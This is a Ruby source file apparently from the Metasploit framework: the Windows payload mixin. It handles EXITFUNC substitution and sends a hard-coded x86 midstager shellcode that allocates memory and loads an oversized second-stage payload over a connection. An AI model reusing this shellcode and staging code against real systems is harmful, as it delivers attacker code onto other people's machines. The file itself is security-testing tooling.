132 lines
4.3 KiB
Ruby
132 lines
4.3 KiB
Ruby
require 'msf/core'
|
|
|
|
###
|
|
#
|
|
# This class is here to implement advanced variable substitution
|
|
# for windows-based payloads, such as EXITFUNC. Windows payloads
|
|
# are expected to include this module if they want advanced
|
|
# variable substitution.
|
|
#
|
|
###
|
|
module Msf::Payload::Windows
|
|
|
|
#
|
|
# ROR hash associations for some of the exit technique routines.
|
|
#
|
|
@@exit_types =
|
|
{
|
|
'seh' => 0xEA320EFE, # SetUnhandledExceptionFilter
|
|
'thread' => 0x0A2A1DE0, # ExitThread
|
|
'process' => 0x56A2B5F0, # ExitProcess
|
|
}
|
|
|
|
#
|
|
# This mixin is chained within payloads that target the Windows platform.
|
|
# It provides special variable substitution for things like EXITFUNC and
|
|
# automatically adds it as a required option for exploits that use windows
|
|
# payloads.
|
|
#
|
|
def initialize(info = {})
|
|
ret = super( info )
|
|
|
|
# All windows payload hint that the stack must be aligned to nop
|
|
# generators and encoders.
|
|
if( info['Arch'] == ARCH_X86_64 )
|
|
if( info['Alias'] )
|
|
info['Alias'] = 'windows/x64/' + info['Alias']
|
|
end
|
|
merge_info( info, 'SaveRegisters' => [ 'rsp' ] )
|
|
elsif( info['Arch'] == ARCH_X86 )
|
|
if( info['Alias'] )
|
|
info['Alias'] = 'windows/' + info['Alias']
|
|
end
|
|
merge_info( info, 'SaveRegisters' => [ 'esp' ] )
|
|
end
|
|
|
|
#if (info['Alias'])
|
|
# info['Alias'] = 'windows/' + info['Alias']
|
|
#end
|
|
|
|
register_options(
|
|
[
|
|
Msf::OptRaw.new('EXITFUNC', [ true, "Exit technique: #{@@exit_types.keys.join(", ")}", 'thread' ])
|
|
], Msf::Payload::Windows )
|
|
|
|
ret
|
|
end
|
|
|
|
#
|
|
# Replace the EXITFUNC variable like madness
|
|
#
|
|
def replace_var(raw, name, offset, pack)
|
|
if (name == 'EXITFUNC')
|
|
method = datastore[name]
|
|
method = 'thread' if (!method or @@exit_types.include?(method) == false)
|
|
|
|
raw[offset, 4] = [ @@exit_types[method] ].pack(pack || 'V')
|
|
|
|
return true
|
|
end
|
|
|
|
return false
|
|
end
|
|
|
|
#
|
|
# For windows, we check to see if the stage that is being sent is larger
|
|
# than a certain size. If it is, we transmit another stager that will
|
|
# ensure that the entire stage is read in.
|
|
#
|
|
def handle_intermediate_stage(conn, payload)
|
|
if( self.module_info['Stager']['RequiresMidstager'] == false )
|
|
conn.put( [ payload.length ].pack('V') )
|
|
# returning false allows stager.rb!handle_connection() to prepend the stage_prefix if needed
|
|
return false
|
|
end
|
|
|
|
return false if (payload.length < 512)
|
|
|
|
# The mid-stage works by reading in a four byte length in host-byte
|
|
# order (which represents the length of the stage). Following that, it
|
|
# reads in the entire second stage until all bytes are read. It reads the
|
|
# data into a buffer which is allocated with VirtualAlloc to avoid running
|
|
# out of stack space or NX problems.
|
|
# See the source file: /external/source/shellcode/windows/midstager.asm
|
|
midstager =
|
|
"\xfc\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x50\x1c\x8b\x12\x8b" +
|
|
"\x72\x20\xad\xad\x4e\x03\x06\x3d\x32\x33\x5f\x32\x0f\x85\xeb\xff" +
|
|
"\xff\xff\x8b\x6a\x08\x8b\x45\x3c\x8b\x4c\x05\x78\x8b\x4c\x0d\x1c" +
|
|
"\x01\xe9\x8b\x71\x3c\x01\xee\x60\x64\x8b\x5b\x30\x8b\x5b\x0c\x8b" +
|
|
"\x5b\x14\x8b\x73\x28\x6a\x18\x59\x31\xff\x31\xc0\xac\x3c\x61\x7c" +
|
|
"\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x81\xff\x5b\xbc\x4a\x6a" +
|
|
"\x8b\x6b\x10\x8b\x1b\x75\xdb\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef" +
|
|
"\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0" +
|
|
"\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x81\xfa\x54" +
|
|
"\xca\xaf\x91\x75\xe3\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f" +
|
|
"\x1c\x01\xeb\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x08\x61\x89\xe3\x6a" +
|
|
"\x00\x6a\x04\x53\x57\xff\xd6\x8b\x1b\x6a\x40\x68\x00\x30\x00\x00" +
|
|
"\x53\x6a\x00\xff\xd5\x89\xc5\x55\x6a\x00\x53\x55\x57\xff\xd6\x01" +
|
|
"\xc5\x29\xc3\x85\xdb\x75\xf1\xc3"
|
|
|
|
# Prepend the stage prefix as necessary, such as a tag that is needed to
|
|
# find the socket
|
|
midstager = (self.stage_prefix || '') + midstager
|
|
|
|
print_status("Transmitting intermediate stager for over-sized stage...(#{midstager.length} bytes)")
|
|
|
|
# Transmit our intermediate stager
|
|
conn.put(midstager)
|
|
|
|
# Sleep to give enough time for the remote side to receive and read the
|
|
# midstage so that we don't accidentally read in part of the second
|
|
# stage.
|
|
Rex::ThreadSafe.sleep(1.5)
|
|
|
|
# The mid-stage requires that we transmit a four byte length field that
|
|
# it will use as the length of the subsequent stage.
|
|
conn.put([ payload.length ].pack('V'))
|
|
|
|
return true
|
|
end
|
|
|
|
end
|